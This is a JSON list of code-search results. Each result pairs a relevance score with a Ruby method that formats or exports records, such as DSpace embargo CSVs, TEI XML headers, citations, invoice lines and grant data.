[ { "docid": "8de8f074917191229569385462df5b5c", "score": "0.60079706", "text": "def embargoed_csv(com)\n handle = 'handle'\n col = 'collection'\n klass = 'year'\n nAuthor = '#author'\n embargo = 'embargo'\n items = DSpace.findByMetadataValue('pu.embargo.terms', nil, nil)\n ihash = []\n items.each do |i|\n next unless i.getHandle\n next unless DSpace.create(i).parents.index(com)\n\n nAuth = i.getMetadataByMetadataString('dc.contributor.author').length\n h = { handle => i.getHandle }\n h[col] = i.getParentObject.getName\n h[klass] = i.getMetadataByMetadataString('pu.date.classyear').collect { |v| v.value}\n h[nAuthor] = nAuth\n h[embargo] = i.getMetadataByMetadataString('pu.embargo.terms').collect { |v| v.value}\n ihash << h\n end\n\n csv_out(ihash, ['embargo', 'year', '#author', 'handle', 'collection'])\nend", "title": "" }, { "docid": "3c4e7758df3c0d9818aa602a954241d2", "score": "0.5987853", "text": "def summary #There should be a way to format this without copious tabs, but I couldn't find it\n return \"\\t\\t\\t\\t#{@name}\n ----------------------------------------------------\n Orbit period: \\t\\t#{@year_length} earth years(#{(@year_length * 365.25).round(2)} earth days)\n Orbit distance: \\t\\t#{(@distance_from_the_sun * 149597870.7).round(2)} km (#{@distance_from_the_sun} AU)\n Diameter: \\t\\t\\t#{@diameter}\n Mass: \\t\\t\\t#{@mass} (#{@mass_compared_to_earth * 100}%)\n Moons: \\t\\t\\t#{@moons}\n Temperature: \\t\\t#{@surface_temp}\n Historical Record: \\t\\t#{@first_record}\n Recorded By: \\t\\t#{@recorded_by}\\n\\n\"\n end", "title": "" }, { "docid": "18fd9c53fc2c0308065b348ee7d76ee0", "score": "0.5705465", "text": "def do_edition_header(int_edition_id, int_manifestation_id)\n \tret_header = \"\"\n \ttab_1 = \" \"\n\ttab_2 = \" \"\n\ttab_3 = \" \"\n\ttab_4 = \" \"\n\ttab_5 = \" \"\n\ttab_6 = \" \"\n\ttab_7 = \" \"\n\t\n\tret_header = ret_header + tab_1 + \"<teiHeader>\\n\"\n\tret_header = ret_header + tab_2 + \"<fileDesc>\\n\"\n\t\n\t\n\tstr_dig_edition_title = \"\"\n\tint_man_id = 0\n\t\n\t@edition = DigitalEdition.where(\"id = ?\", int_edition_id)\n\t@edition.each do |dig_ed|\n\t\tstr_dig_edition_title = dig_ed.digital_edition_local_title\n\t\tint_man_id = dig_ed.manifestation_id\n\tend\n\t\n\tarr_authors = Array.new\n\tarr_authors_plane = Array.new\n\tarr_editors = Array.new\n\tarr_editors_plane = Array.new\n\tarr_publishers = Array.new\n\tint_man_event_author = 0\n\tint_man_event_editor = 0\n\tint_man_event_publish = 0\n\tint_man_event_publish_location = 0\n\tstr_man_event_publish_start_dt = \"\"\n\tstr_man_event_publish_end_dt = \"\"\n\t\n\t\n\t@manevents = ManifestationEvent.where(\"manifestation_events.manifestation_id = ?\", int_man_id)\n\t@manevents.each do |man_events|\n\t\tif (man_events.event_type_id == 1)\n\t\t\tint_man_event_author = man_events.id\n\t\telsif (man_events.event_type_id == 2)\n\t\t\tint_man_event_publish = man_events.id\n\t\t\tint_man_event_publish_location = man_events.location_id\n\t\t\tstr_man_event_publish_start_dt = man_events.manifestation_event_start_date\n\t\t\tstr_man_event_publish_end_dt = man_events.manifestation_event_end_date\n\t\telsif (man_events.event_type_id == 3)\n\t\t\tint_man_event_editor = man_events.id\n\t\tend\n\t\n\tend\n\n\tif int_man_event_author > 0\n\t\t@authors = ManifestationEventsHasAgents.where(\"manifestation_event_id = ?\", int_man_event_author)\n\t\t@authors.each do |man_authors|\t\n\t\t\tint_agent_id = man_authors.agent_id\n\t\t\tstr_author_name_formatted = get_formatted_agent_name(int_agent_id)\n\t\t\tif str_author_name_formatted.length > 0\n\t\t\t\tarr_authors_plane.push(str_author_name_formatted)\n\t\t\t\tstr_author_tei = \"<persName key=\\\"\" + int_agent_id.to_s + \"\\\" xml:id=\\\"AGT_\" + int_agent_id.to_s + \"\\\">\" + str_author_name_formatted + \"</persName>\"\n\t\t\t\tarr_authors.push(str_author_tei)\n\t\t\tend\n\t\tend\n\tend\n\n\n\tif int_man_event_editor > 0\n\t\t@editors = ManifestationEventsHasAgents.where(\"manifestation_event_id = ?\", int_man_event_publisher)\n\t\t@editors.each do |edit_pubs|\t\n\t\t\tint_edit_id = edit_pubs.agent_id\n\t\t\tstr_edit_name_formatted = get_formatted_agent_name(int_edit_id)\n\t\t\tif str_edit_name_formatted.length > 0\n\t\t\t\tarr_editors_plane.push(str_edit_name_formatted)\n\t\t\t\tstr_author_tei = \"<persName key=\\\"\" + int_edit_id.to_s + \"\\\" xml:id=\\\"AGT_\" + int_edit_id.to_s + \"\\\">\" + str_edit_name_formatted + \"</persName>\"\n\t\t\t\tarr_editors.push(str_author_tei)\n\t\t\tend\t\t\t\n\t\tend\n\tend\t\n\t\n\t\n\tstr_dig_edition_title = str_dig_edition_title.gsub(/&/, \"&amp;\")\t\n\tret_header = ret_header + tab_3 + \"<titleStmt>\\n\"\n\tret_header = ret_header + tab_4 + \"<title>\" + str_dig_edition_title + \"</title>\\n\"\n\tif arr_authors.size > 0\n\t\tret_header = ret_header + tab_4 + \"<author>\\n\"\n\t\tarr_authors.each do |authors_el|\n\t\t\tret_header = ret_header + tab_5 + authors_el + \"\\n\"\n\t\tend\n\t\tret_header = ret_header + tab_4 + \"</author>\\n\"\n\tend\n\t\n\tif arr_editors.size > 0\n\t\tret_header = ret_header + tab_4 + \"<editor>\\n\"\n\t\tarr_editors.each do |editors_el|\n\t\t\tret_header = ret_header + tab_5 + editors_el + \"\\n\"\n\t\tend\n\t\tret_header = ret_header + tab_4 + \"</editor>\\n\"\n\tend\n\tret_header = ret_header + tab_3 + \"</titleStmt>\\n\"\n\n\n\tstr_digital_publisher_name = \"\"\n\tstr_digital_publisher_url = \"\"\n\tstr_digital_publisher_location = \"\"\n\tstr_digital_license = \"\"\n\tstr_digital_site_editor_name = \"\"\n\tstr_digital_site_name = \"\"\n\n\t@confs = Conf.where(\"config_active = ?\", true)\n\t@confs.each do |conf|\t\n\t\tstr_digital_publisher_name = conf.conf_publisher\n\t\tstr_digital_publisher_url = conf.conf_publisher_url\n\t\tstr_digital_publisher_location = conf.conf_publisher_location\n\t\tstr_digital_license = conf.conf_publisher_license\n\t\tstr_digital_site_editor_name = conf.conf_site_editor_name\n\t\tstr_digital_site_name = conf.conf_site_name\n\tend\n\tstr_digital_publisher_name = str_digital_publisher_name.gsub(/&/, \"&amp;\")\t\n\tstr_digital_publisher_url = str_digital_publisher_url.gsub(/&/, \"&amp;\")\t\n\tstr_digital_publisher_location = str_digital_publisher_location.gsub(/&/, \"&amp;\")\t\n\tstr_digital_license = str_digital_license.gsub(/&/, \"&amp;\")\t\n\tstr_digital_site_editor_name = str_digital_site_editor_name.gsub(/&/, \"&amp;\")\t\n\tstr_digital_site_name = str_digital_site_name.gsub(/&/, \"&amp;\")\t\n\n\n\tret_header = ret_header + tab_3 + \"<publicationStmt>\\n\"\n\t\n\tif (str_digital_publisher_name.length > 0 || str_digital_publisher_url.length > 0)\n\t\tret_header = ret_header + tab_4 + \"<publisher>\\n\"\n\t\tret_header = ret_header + tab_5\n\t\tif (str_digital_publisher_url.length > 0)\n\t\t\tret_header = ret_header + \"<ref target=\\\"\" + str_digital_publisher_url + \"\\\">\"\n\t\tend\n\t\tif (str_digital_publisher_name.length > 0)\n\t\t\tret_header = ret_header + str_digital_publisher_name\n\t\telse\n\t\t\tret_header = ret_header + str_digital_publisher_url\n\t\tend\n\t\tif (str_digital_publisher_url.length > 0)\n\t\t\tret_header = ret_header + \"</ref>\"\n\t\tend\t\n\t\tret_header = ret_header + \"\\n\"\n\t\tret_header = ret_header + tab_4 + \"</publisher>\\n\"\n\tend\n\t\n\tif (str_digital_publisher_location.length > 0)\n\t\tret_header = ret_header + tab_4 + \"<pubPlace>\" + str_digital_publisher_location + \"</pubPlace>\\n\"\n\tend\n\tret_header = ret_header + tab_4 + \"<date when=\\\"\" + Time.now.year.to_s + \"\\\"/>\\n\"\n\t\n\tif (str_digital_license.length > 0 || str_digital_site_editor_name.length > 0)\n\t\tret_header = ret_header + tab_4 + \"<availability>\\n\"\n\t\tif (str_digital_site_editor_name.length > 0)\n\t\t\tret_header = ret_header + tab_5 + \"<p> Copyright (c) \" + Time.now.year.to_s + \" \" + str_digital_site_editor_name + \" </p>\\n\"\n\t\tend\n\t\tif (str_digital_license.length > 0)\n\t\t\tret_header = ret_header + tab_5 + \"<p> \" + str_digital_license + \" </p>\\n\"\n\t\tend\n\t\tret_header = ret_header + tab_4 + \"</availability>\\n\"\n\tend\n\t\t\n\tret_header = ret_header + tab_3 + \"</publicationStmt>\\n\"\n\t\n\tret_header = ret_header + tab_3 + \"<sourceDesc>\\n\"\n\tret_header = ret_header + tab_4 + \"<biblStruct n=\\\"MANIFESTATION\\\" xml:id=\\\"MN_\" + int_manifestation_id.to_s + \"\\\">\\n\"\n\n\n\tif (arr_editors_plane.size > 0 || arr_authors_plane.size > 0)\n\t\tret_header = ret_header + tab_5 + \"<analytic>\\n\"\n\t\tif arr_authors_plane.size > 0\n\t\t\tret_header = ret_header + tab_6 + \"<author>\\n\"\n\t\t\tarr_authors_plane.each do |authors_el|\n\t\t\t\tret_header = ret_header + tab_7 + \"<persName>\" + authors_el + \"</persName>\\n\"\n\t\t\tend\n\t\t\tret_header = ret_header + tab_6 + \"</author>\\n\"\n\t\tend\n\t\n\t\tif arr_editors_plane.size > 0\n\t\t\tret_header = ret_header + tab_6 + \"<editor>\\n\"\n\t\t\tarr_editors_plane.each do |editors_el|\n\t\t\t\tret_header = ret_header + tab_7 + \"<persName>\" + editors_el + \"</persName>\\n\"\n\t\t\tend\n\t\t\tret_header = ret_header + tab_6 + \"</editor>\\n\"\n\t\tend\n\n\t\tret_header = ret_header + tab_5 + \"</analytic>\\n\"\n\tend\n\t\n\t\n\t\n\t\n\tstr_manifestation_title = \"\"\n\t@mans = Manifestation.where(\"id = ?\", int_manifestation_id)\n\t@mans.each do |man_item|\t\n\t\tstr_manifestation_title = man_item.manifestation_name\n\tend\t\n\tstr_manifestation_title = str_manifestation_title.gsub(/&/, \"&amp;\")\n\tret_header = ret_header + tab_5 + \"<monogr>\\n\"\n\tret_header = ret_header + tab_6 + \"<title>\" + str_manifestation_title + \"</title>\\n\"\t\n\t\n\tret_header = ret_header + tab_6 + \"<imprint>\\n\"\n\t\n\tif (int_man_event_publish_location > 0) \n\t\tstr_pub_loc_name = \"\"\n\t\t@publoc = Location.where(\"id = ?\", int_man_event_publish_location)\n\t\t@publoc.each do |publoc_item|\t\n\t\t\tstr_pub_loc_name = publoc_item.location_name\n\t\tend\t\n\t\tif (str_pub_loc_name.length > 0)\n\t\t\tstr_pub_loc_name = str_pub_loc_name.gsub(/&/, \"&amp;\")\n\t\t\tret_header = ret_header + tab_7 + \"<pubPlace>\" + str_pub_loc_name + \"</pubPlace>\\n\"\n\t\tend\n\tend\n\t\t\t\t\t\n\t\n\tif int_man_event_publish > 0\n\t\n\t\t@publishers = ManifestationEventsHasAgents.where(\"manifestation_event_id = ?\", int_man_event_publish)\n\t\t@publishers.each do |man_pubs|\t\n\t\t\tint_agent_id = man_pubs.agent_id\n\t\t\tstr_pub_name_formatted = get_formatted_agent_name(int_agent_id)\n\t\t\tif str_pub_name_formatted.length > 0\n\t\t\t\tret_header = ret_header + tab_7 + \"<publisher>\" + str_pub_name_formatted + \"</publisher>\\n\"\n\t\t\tend\n\t\tend\n\tend\n\t\n\tstr_pub_final_date = \"\"\n\tif (str_man_event_publish_start_dt == str_man_event_publish_end_dt)\n\t\tstr_pub_final_date = str_man_event_publish_start_dt\n\telse\n\t\tbln_do_dash = false\n\t\tif (str_man_event_publish_start_dt.length >0)\n\t\t\tstr_pub_final_date = str_man_event_publish_start_dt\n\t\t\tbln_do_dash = true\n\t\tend\n\t\tif (str_man_event_publish_end_dt.length >0)\n\t\t\tif (bln_do_dash)\n\t\t\t\tstr_pub_final_date = str_pub_final_date + \"-\"\n\t\t\tend\n\t\t\tstr_pub_final_date = str_pub_final_date + str_man_event_publish_end_dt\n\t\tend\t\t\n\tend\n\tif (str_pub_final_date.length >0)\n\t\tret_header = ret_header + tab_7 + \"<date when=\\\"\" + str_pub_final_date + \"\\\" xml:id=\\\"sort_date\\\"/>\\n\"\n\tend\n\t\n\tret_header = ret_header + tab_6 + \"</imprint>\\n\"\n\t\n\t\n\tret_header = ret_header + tab_5 + \"</monogr>\\n\"\n\n\tret_header = ret_header + tab_4 + \"</biblStruct>\\n\"\n\tret_header = ret_header + tab_3 + \"</sourceDesc>\\n\"\n\t\n\t\n\t\n\t\n\t\n\tret_header = ret_header + tab_2 + \"</fileDesc>\\n\"\n\t\n\t\n\tret_header = ret_header + tab_2 + \"<encodingDesc>\\n\"\n\tret_header = ret_header + tab_3 + \"<editorialDecl>\\n\"\n\tret_header = ret_header + tab_4 + \"<p>This document follows the guidelines specified for TEI P.5.</p>\\n\"\n\tret_header = ret_header + tab_4 + \"<p>XML generated automatically at \" + Time.now.to_s + \" by the Collex Edition Builder created by Carl Stahmer, PhD.</p>\\n\"\n\tret_header = ret_header + tab_3 + \"</editorialDecl>\\n\"\n\tret_header = ret_header + tab_3 + \"<variantEncoding method=\\\"parallel-segmentation\\\" location=\\\"internal\\\"/>\\n\"\n\tret_header = ret_header + tab_2 + \"</encodingDesc>\\n\"\n\t\n\t\n\t\n \tret_header = ret_header + tab_1 + \"</teiHeader>\\n\"\n \t\n \treturn ret_header\n end", "title": "" }, { "docid": "d8d29754426e5f506a42d4f714ec078b", "score": "0.5646438", "text": "def full_description\n\t\t\"#{year} #{make} #{model}\"\n\tend", "title": "" }, { "docid": "8c9e15d4c797870b7d26b06f7f74758e", "score": "0.5639959", "text": "def get_uid(year, section, entity_type, service, programme, expense_concept)\n \"#{year}#{section}#{entity_type}#{service}#{programme}#{expense_concept}\"\nend", "title": "" }, { "docid": "a2cb9792b3b43a47f08c086ab24d01e0", "score": "0.5538911", "text": "def to_tab\n\t\t[\n\t\t\tcost_center, # char 10\n\t\t\tcredit, # char 6\n\t\t\treference, #\n\t\t\treference_key1,# char 12\n\t\t\ttext.gsub(\" **\", \"\").to_s[0, 48], # char 50\n\t\t\tdocument_header,\n\t\t\tdebit, # char 6\n\t\t\tposting_date && posting_date.strftime('%Y-%m-%d'),\n\t\t\tassignment, # char 18\n\t\t\treference_key2, # char 12\n\t\t\treference_key3, # char 20\n\t\t\tamount && '%.2f' % amount.to_f,\n\t\t\tinvoice_date && invoice_date.strftime('%Y-%m-%d'),\n\t\t\tcustomer,\n\t\t].map { |v|\n\t\t\tv.to_s.gsub(/[\\r\\n\\t]/, ' ')\n\t\t}.join(\"\\t\")\n\tend", "title": "" }, { "docid": "737a6841a5496dd4d76f0d97eed64068", "score": "0.55385476", "text": "def header article\n \"title, source, date, type, sectionID, id, apiUrl, section_name\"\n end", "title": "" }, { "docid": "e4797769f859958a112f54d3a28e39ac", "score": "0.55162513", "text": "def to_str\n [\"!date: #{@header[:date]}\",\n @header[:desc].map {|e| \"!#{e}\" },\n self.map { |e| [e[:db], ':', e[:db_id], ' > GO:', e[:go_term], ' ; ', e[:go_id]].join }\n ].join(\"\\n\")\n end", "title": "" }, { "docid": "895aff668dc907f6ea73d787a786ae3e", "score": "0.5514295", "text": "def display_college_info\n gen_info = \"\"\n if (!self.major.blank?)\n gen_info += self.major\n if (!self.class_year.blank?)\n gen_info += \", \"\n end\n end\n if (!self.class_year.blank?)\n gen_info += self.class_year\n end\n gen_info\n end", "title": "" }, { "docid": "b711194115b2bce1cdd6d09ac4d446a3", "score": "0.55124444", "text": "def info\n @year + \" \" + @make + \" \" + @model\n end", "title": "" }, { "docid": "eaff0b8a70077e880ac635c94b3919eb", "score": "0.55055255", "text": "def itemize entry, header = [\"role\", \"who\", \"address\"]\n<<EOS\n- #{clean header.map { |x| entry[x] }.join(\", \")}\n #{period entry}\n#{reflow_to_string entry[\"summary\"], 72, \" \"}\nEOS\nend", "title": "" }, { "docid": "a38995967fe8126787690ff7adfe93b2", "score": "0.5501478", "text": "def journal_info\n if self.citation\n vol = self.citation.volume\n issue = self.citation.issue\n season = self.citation.season\n day = self.citation.day\n month = self.citation.month\n yr = self.citation.year\n startp = self.citation.start_page\n endp = self.citation.end_page\n else\n vol = self.input_volume\n issue = self.input_issue\n season = self.input_season\n day = self.input_day\n month = self.input_month\n yr = self.input_year\n startp = self.input_start_page\n endp = self.input_end_page\n end\n vol_str = \"\"\n vol_str = \"vol. #{vol}\" if vol\n vol_str = \"#{vol_str} no.#{issue}\" if issue\n date = season || \"\"\n if date == \"\"\n date = \"#{date} #{day}\" if day\n date = \"#{date} #{month}\" if month\n date = \"#{date} #{year}\" if year\n end\n pp = startp || \"\"\n pp = \"#{pp}-#{endp}\" if endp\n pp = \"pp. #{pp}\" if pp.strip!\n \"#{vol_str} (#{date.strip}) #{pp}\".strip\n end", "title": "" }, { "docid": "6d3ce8421f5d988b92d34a6f08c8575d", "score": "0.5494855", "text": "def formatAPA\n (prettyOutput(@authors.map { |x| x.to_s }) + \"(\" + @datee.year.to_s + \") \" + @title +\n \"\\n\\t(\" + @edition.to_s + \") \" +\n \"(\" + @editionnumber.to_s + \") \" +\n @issbn.join(\", \"))\n end", "title": "" }, { "docid": "47b9c05402753f3daec8cde769e469b6", "score": "0.54910856", "text": "def transaction_statistics(eobs)\n ts_elements = []\n ts_elements << \"TS3\"\n ts_elements << federal_tax_id\n ts_elements << (facility_type_code.blank? ? '13' : facility_type_code)\n ts_elements << year_end_date\n ts_elements << eobs.length\n ts_elements << sum_eob_charges(eobs)\n ts_elements.join(@element_seperator)\n end", "title": "" }, { "docid": "a8f9e94439461ae3e6b5fc365191c7b3", "score": "0.54645705", "text": "def getInformationRow (pub)\n result = \"\";\n if !pub.published_in.empty?\n result << (pub.published_in.empty? ? \"\" : pub.published_in)\n result << (pub.city.empty? ? \"\" : (\", \" + pub.city))\n result << (pub.pages.empty? ? \"\" : (\", pp.\" + pub.pages))\n result << (pub.publisher.empty? ? \"\" : (\", \" + pub.publisher))\n result << (pub.year == 0 ? \".\" : (\", \" + pub.year.to_s + \".\"))\n else \n result << (pub.journal.empty? ? \"\" : (pub.journal + \", \"))\n result << (pub.volume.empty? ? \"\" : (pub.volume + \", \"))\n result << (pub.issue.empty? ? \"\" : (pub.issue + \", \"))\n result << (pub.city.empty? ? \"\" : (pub.city + \", \"))\n result << (pub.pages.empty? ? \"\" : (\"pp. \" + pub.pages + \", \"))\n result << (pub.publisher.empty? ? \"\" : pub.publisher)\n result << (pub.year.empty? ? \".\" : (\", \" + pub.year.to_s + \".\"))\n end\n return result\n end", "title": "" }, { "docid": "b3c91d5df7b3b3aa1b156c77160f40be", "score": "0.5425787", "text": "def print_props\n return \"Vendor ID #{ @vendor_id }, named #{ @name }, has #{ @employees } employees #{ @amount } and is sold at Market ID #{ @market_id }.\"\n end", "title": "" }, { "docid": "950903945958b9ebecbd5b3621de9200", "score": "0.54240155", "text": "def format_main\n types = typeOfResource\n return [] unless types\n\n article_genres = ['article', 'Article',\n 'book chapter', 'Book chapter', 'Book Chapter',\n 'issue brief', 'Issue brief', 'Issue Brief',\n 'project report', 'Project report', 'Project Report',\n 'student project report', 'Student project report', 'Student Project report', 'Student Project Report',\n 'technical report', 'Technical report', 'Technical Report',\n 'working paper', 'Working paper', 'Working Paper'\n ]\n book_genres = ['conference publication', 'Conference publication', 'Conference Publication',\n 'instruction', 'Instruction',\n 'librettos', 'Librettos',\n 'thesis', 'Thesis'\n ]\n val = []\n genres = term_values(:genre) || []\n issuance = term_values([:origin_info, :issuance]) || []\n frequency = term_values([:origin_info, :frequency]) || []\n\n val << 'Dataset' if genres.include?('dataset') || genres.include?('Dataset')\n\n types.each do |type|\n val << 'Archive/Manuscript' if type.manuscript == 'yes'\n\n case type.text\n when 'cartographic'\n val << 'Map'\n when 'mixed material'\n val << 'Archive/Manuscript'\n when 'moving image'\n val << 'Video'\n when 'notated music'\n val << 'Music score'\n when 'software, multimedia'\n val << 'Software/Multimedia' unless types.map(&:text).include?('cartographic') || (genres.include?('dataset') || genres.include?('Dataset'))\n when 'sound recording-musical'\n val << 'Music recording'\n when 'sound recording-nonmusical', 'sound recording'\n val << 'Sound recording'\n when 'still image'\n val << 'Image'\n when 'text'\n is_explicitly_a_book = type.manuscript != 'yes' && (issuance.include?('monographic') || !(genres & article_genres).empty? || !(genres & book_genres).empty?)\n is_periodical = issuance.include?('continuing') || issuance.include?('serial') || frequency.any? { |x| !x.empty? }\n is_archived_website = genres.any? { |x| x.casecmp('archived website') == 0 }\n\n val << 'Book' if is_explicitly_a_book\n val << 'Journal/Periodical' if is_periodical\n val << 'Archived website' if is_archived_website\n val << 'Book' unless is_explicitly_a_book || is_periodical || is_archived_website\n when 'three dimensional object'\n val << 'Object'\n end\n end\n val.uniq\n end", "title": "" }, { "docid": "7af39da59ebe7e5dad77535e6efcd73b", "score": "0.5411224", "text": "def formatAPA\n (prettyOutput(@authors.map { |x| x.to_s }) + \"(\" + @date.year.to_s + \") \" + @title +\n \"\\n\\t(\" + @edition.to_s + \") \" +\n \"(\" + @editionnumber.to_s + \") \" +\n @issbn)\n end", "title": "" }, { "docid": "c14b2e9d117fc23d30e36fe849ac63ff", "score": "0.5397981", "text": "def csv\n csv = ['Descripción,Cantidad,Precio Unitario,Descuento (opcional),Tasa ITBMS,Tasa ISC (opcional),Monto ISC (opcional),Cód CPBS (opcional) ,Cód Sub CPBS (Opcional),']\n @claims.each do |claim|\n csv << %Q{\"Lab Tests: #{claim.cpt_codes.join(', ')}. Insured ID: #{claim.insured_name.policy_number}. Our Reference #{claim.external_number}. Your Reference: #{claim.number}\",1.00,#{claim.total_price},#{claim.total_price * DISCOUNT},0.00,0.00,0.00,85,8510,}\n end\n\n csv.join(\"\\n\")\n end", "title": "" }, { "docid": "8bc2ebc893cd7d0a257c86d6ff127ab7", "score": "0.53955036", "text": "def format_items(hsh, section)\n case section\n when \"Books\"\n books(hsh[section])\n else\n hsh[section].map do |items|\n items.map { |k, v| \"#{k}: #{v}\" }.join(\", \")\n end\n end\n end", "title": "" }, { "docid": "d3f76ab8fc0e401a4338594e1c596187", "score": "0.53924114", "text": "def info(article_submission_id = nil)\n \n out = <<HERE\n Name: #{self.full_name}\n Title: #{self.position_title}\n Institution: #{self.employer}\n Department: #{self.department}\n Address: #{self.address}\n Telephone: #{self.phone_preferred}\n Website: #{self.url}\n Email: #{self.email}\nHERE\n\n if article_submission_id\n out += \" Contributions: #{contribution_types_list(article_submission_id)}\"\n end\n out\n end", "title": "" }, { "docid": "c8a853246efa2026ef44a2bb8895b979", "score": "0.53688353", "text": "def summary\n summary = Ruport::Data::Table::new\n summary.add_column 'Attributes'\n enumerateAttributes.each_with_index do |att,idx| \n summary.add_column idx\n end\n \n att_names = ['Names']\n enumerateAttributes.each do |att| \n att_names << \"'#{att.name}'\"\n end\n summary << att_names\n\n att_types = ['Types']\n enumerateAttributes.each do |att|\n att_types << \"Numeric\" if att.isNumeric \n att_types << \"Nominal\" if att.isNominal\n att_types << \"Date\" if att.isDate\n att_types << \"String\" if att.isString\n end\n summary << att_types\n\n display = []\n display << summary\n\n unless enumerate_instances.nil?\n count=0\n enumerateInstances.each {|inst| count=count+1}\n display << \"\\nNumber of rows: #{count}\"\n end\n display \n end", "title": "" }, { "docid": "d96c3d0e1142ddece09386506541712d", "score": "0.5358315", "text": "def table_body(items_to_format)\n table_array = []\n items_to_format.each_with_index do |item, position|\n table_parser = item.details\n table_array << [\"#{position + 1}\",\n table_parser[:type],\n table_parser[:description],\n table_parser[:date],\n table_parser[:priority]]\n end\n table_array\n end", "title": "" }, { "docid": "04e2f58d8f406ef0abd84e7c92c5afa1", "score": "0.5354889", "text": "def to_s()\n\t\tresult = name + \" \" + cal.to_s + \":\\n\"\n\t\tingredients.each { |x| result+= (\"\\t\" + x.to_s + \"\\n\") }\n\t\treturn result\n\tend", "title": "" }, { "docid": "615389b2f35f47479cd82d7f29f7ef35", "score": "0.5349544", "text": "def export\n\t\tdata = []\n\t\t@skills.each do |skill|\n\t\t\tif skill.skill.limit != 1 or skill.skill.options.length > 0\n\t\t\t\tval = {skill.to_s => {}}\n\t\t\t\tif skill.skill.limit != 1\n\t\t\t\t\tval[skill.to_s]['Count'] = skill.count\n\t\t\t\tend\n\t\t\t\tskill.options.each do |o,v|\n\t\t\t\t\tval[skill.to_s][o] = v\n\t\t\t\tend\n\t\t\t\tdata << val\n\t\t\telse\n\t\t\t\tdata << skill.to_s\n\t\t\tend\n\t\tend\n\t\t@spells.each do |school, tree|\n\t\t\tnext if tree[0] <= 0\n\t\t\ttree.each_with_index do |spell_amount, level|\n\t\t\t\tbreak if spell_amount <= 0\n\t\t\t\tskill_name = \"#{school} #{level + 1}\"\n\t\t\t\tval = {skill_name => {}}\n\t\t\t\tval[skill_name]['Count'] = spell_amount\n\t\t\t\tdata << val\n\t\t\tend\n\t\tend\n\t\t\t\n\t\treturn data\n\tend", "title": "" }, { "docid": "5774b363fb160ebcde588bda113d3a97", "score": "0.5347888", "text": "def to_csv_line\n [id, started_at, finished_at, frequency, frequency_other, time_spent,\n purpose_gathering, purpose_hobbitry, purpose_fuel, purpose_relaxation,\n favorite_place, once_receive, once_payment, important_nature, important_wood,\n important_gathering, important_water, important_climate, important_health,\n important_ground, relation].map{|field| %(\"#{field}\")}.join(';')\n end", "title": "" }, { "docid": "08f63d1282f5feb4e580bbcebf21a431", "score": "0.5341429", "text": "def import_income_and_cash_flow_details(oo)\n @array_record = []\n @month_list_partial =[]\n for mo in 1..12\n @month_list_partial << Date::MONTHNAMES[mo].slice(0,3)\n end\n if @month_list_partial.include?(@document.folder.name)\n @month_de = @month_list_partial.index(@document.folder.name)+1\n end\n # IncomeAndCashFlowDetail.delete_all([\"year = ? and resource_id =? and resource_type=?\",@finanical_year, @real_estate_property.id, @real_estate_property.class.to_s])\n @new_income_and_cash_flow_details=[]\n @new_income_and_cash_flow_details_query=[]\n @store_details_array=[]\n for row in 9..find_last_base_cell\n for col in 0..15\n if !read_via_numeral(row,col).nil? and read_via_numeral(row,col).class.to_s==\"String\" and read_via_numeral(row,col) ==\"cash flow statement summary\"\n start_row_oss=row;start_col_oss=col\n create_new_income_and_cash_flow_details(read_via_numeral(row,col))\n parsing_cash_flow_statement_summary(start_row_oss,start_col_oss,oo)\n end\n if !read_via_numeral(row,col).nil? and read_via_numeral(row,col).class.to_s==\"String\" and read_via_numeral(row,col) ==\"income detail\"\n @array_record = []\n create_new_income_and_cash_flow_details(\"operating statement summary\")\n start_row_oss=row;start_col_oss=col\n create_new_income_and_cash_flow_details(read_via_numeral(row,col),@array_record.first)\n parsing_operation_statement_summary(start_row_oss,start_col_oss,oo)\n end\n end\n end\n update_property_financial_periods_via_mysql(@store_details_array*',')\n find_or_create_new_income_and_cash_flow_details_via_mysql(@new_income_and_cash_flow_details, @new_income_and_cash_flow_details_query*\" or \")\n calculate_sum_for_all_the_details_in_cash_flow_and_detail\n end", "title": "" }, { "docid": "42a8ab59e5fdb1c4ae40df68d8ced9f3", "score": "0.5340998", "text": "def to_s_summary\n sep = \"\\n \"\n elems = @collections.sort.inject([]){|a,(itemh,colhdls)| a << \"#{itemh}(#{colhdls.length})\"}\n \"#{self.class} label: #{@label}; ERA year CSV file: #{@era_year_csv}#{sep}#{elems.join(sep)}\"\n end", "title": "" }, { "docid": "871a582c545d44b2eb994725104da38c", "score": "0.533762", "text": "def year_description\n result = \"\"\n \n #Do we have a publication year\n if !year_of_creation.blank?\n result << year_of_creation.to_s\n end\n \n #Do we have a revision year?\n if !year_of_revision.blank?\n result << ', ' if !(result.length == 0)\n result << 'r. '\n result << year_of_revision.to_s\n end\n \n #if !result.blank?\n # result = '('+result+')'\n #end\n \n result\n end", "title": "" }, { "docid": "2174cea95a6fb20634375f48fdce5d69", "score": "0.5336673", "text": "def contributor_fields( index, computing_id, first_name, last_name, department, institution )\n return \"#{index}\\n#{computing_id}\\n#{first_name}\\n#{last_name}\\n#{department}\\n#{institution}\"\n end", "title": "" }, { "docid": "b6abebc6d0cfda9995497fd02d553df9", "score": "0.5335271", "text": "def report_data\n group_block = @consolidated ? lambda { |t| [t.date.year, t.categories[0]] } : lambda { |t| [t.date.year, t.categories] }\n transactions = @statement_repository.query(nil,nil,nil,nil).group_by(&group_block)\n year_span = transactions.keys.map {|key| key[0]}.uniq.sort\n categories = transactions.keys.map {|key| key[1]}.uniq.sort\n rows = [(['Category'] << year_span).flatten]\n categories.each do |category|\n category_by_year = category.is_a?(Array) ? [category.join(',')] : [category]\n year_span.each do |year|\n value = 0.00\n if transactions.key?([year, category])\n value = transactions[[year, category]].map(&:value).inject(&:+).abs.round(2)\n end\n category_by_year << value\n end\n rows << category_by_year\n end\n rows\n end", "title": "" }, { "docid": "4826c0e4892b26108cab3a71d4d180df", "score": "0.5328706", "text": "def extract_fields(i)\n {\n id: @workbook.row(i)[@headers['Grant Contract No.']],\n last_name: @workbook.row(i)[@headers['Grants_Contracts LOG::Contact Name Last']],\n first_name: @workbook.row(i)[@headers['Grants_Contracts LOG::Contact Name First']],\n email: @workbook.row(i)[@headers['Grants_Contracts LOG::Contact Email']],\n organization: @workbook.row(i)[@headers['Grants_Contracts LOG::Contact Organization']],\n project: @workbook.row(i)[@headers['Grants_Contracts LOG::Description']],\n date_end: @workbook.row(i)[@headers['Grants_Contracts LOG::Date End']],\n narrative_end: @workbook.row(i)[@headers['Grants_Contracts LOG::Narr 1 Due']],\n active: @workbook.row(i)[@headers['Grants_Contracts LOG::Disposition']],\n final_due: @workbook.row(i)[@headers['Grants_Contracts LOG::Final Narr Due']]\n }\nend", "title": "" 